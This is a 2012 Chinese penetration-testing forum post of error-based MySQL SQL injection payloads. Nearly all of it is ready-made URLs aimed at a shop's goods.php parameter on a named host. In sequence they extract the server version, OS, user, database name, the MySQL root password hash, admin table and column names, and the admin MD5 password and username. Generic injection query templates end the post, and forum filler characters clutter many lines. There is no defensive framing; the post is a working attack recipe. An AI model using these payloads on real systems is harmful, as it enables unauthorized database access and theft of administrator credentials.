中国网络渗透测试联盟

标题: 盲注详细内容 [打印本页]
作者: admin    时间: 2012-9-5 14:59
标题: 盲注详细内容
判断版本号
+ E& _: l  s2 v9 B- phttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23# T9 d) C: m( E$ n5 O( H
) x+ D8 Q% z: t0 \* d/ i( r- u
判断系统
  @. ^0 }& O" j7 ~$ f  m# }* h4 d4 f) J# M' M. C; Q' k) g
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
& F8 W' S0 C) s6 g+ t2 m2 P7 g& d
) s" i% E0 g6 [2 m& ~  ~' i+ R
/ r) L" `8 ?0 T$ J; W
当前 user()8 a" w6 c6 |: `3 V
3 t% ^8 c- H2 A7 U
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23! }3 b8 d2 G6 Q! g$ L
: {- H3 R) a  V/ ~1 A1 g# K

$ a* Q+ A7 W% {  g
+ l9 I  n" U2 `/ s: J# w; _; o当前 database()- K- p! a8 ?4 |
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23/ _: U9 O/ m3 R

& ~( ^! p& N: R4 C" H& O% A& ~* P  X% Q6 D+ B( j' q9 B
+ C( }+ A; \% u# K3 r. D3 J

+ Z: s9 y2 J$ T' }6 Lroot hash
! |) E4 B3 R: ]5 U, e* d8 w* W* C; N' n4 k6 i# G' `
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
$ u, N0 z. o5 g* d& |0 O: n
, A. k7 I) Z& \  c
" |+ x/ r7 J; l0 [% L
: H6 [+ b/ D2 f2 O, t5 ~当前 数据库表名% B6 Y( x. F6 d2 y/ _

& f8 w# K- V1 B7 thttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23( \( N5 r% s! P) K9 |+ I0 Q: x" r
, h* p* ?, |, R: S, w, Z1 `  ^* j

3 ^4 r2 _' _5 u0 L# d2 P; |- Q) l: O* W7 k0 d1 C1 I) |
当前 数据库 user_name 字段
. V3 d1 j7 u& J0 j# m, {2 v) r+ {+ p5 a/ E; M) n0 t6 G
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
1 v6 b' y& k# I6 a' ?
4 t3 B4 Z  a8 a当前 数据库 字段 password
- L, m4 Z; n; |% Shttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
2 u, i) B' f# w0 t& A0 e7 {) K' u4 e- V9 M  j) J, T

  E4 p9 u) l: y# A, V: @
6 \' z, E8 s" r8 u+ q6 q获得 admin passwd(md5)  c& L. D* N5 Z

$ i0 I% a1 ^5 B! m8 A' |0 \* M6 y) j
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
  E/ B. }" ~) Z! G$ }+ m9 y4 e7 ~$ U* w* U' J! S# R, s" P
报错注射
: y9 ?# j- e+ Z5 j: ESELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)# |: Q$ U( e2 E4 c; g
0 h: R; w" |, o9 h
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)( K* D4 p  J: z0 S
" b% w" Z# k: ^9 ~3 S, ]" ?
and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2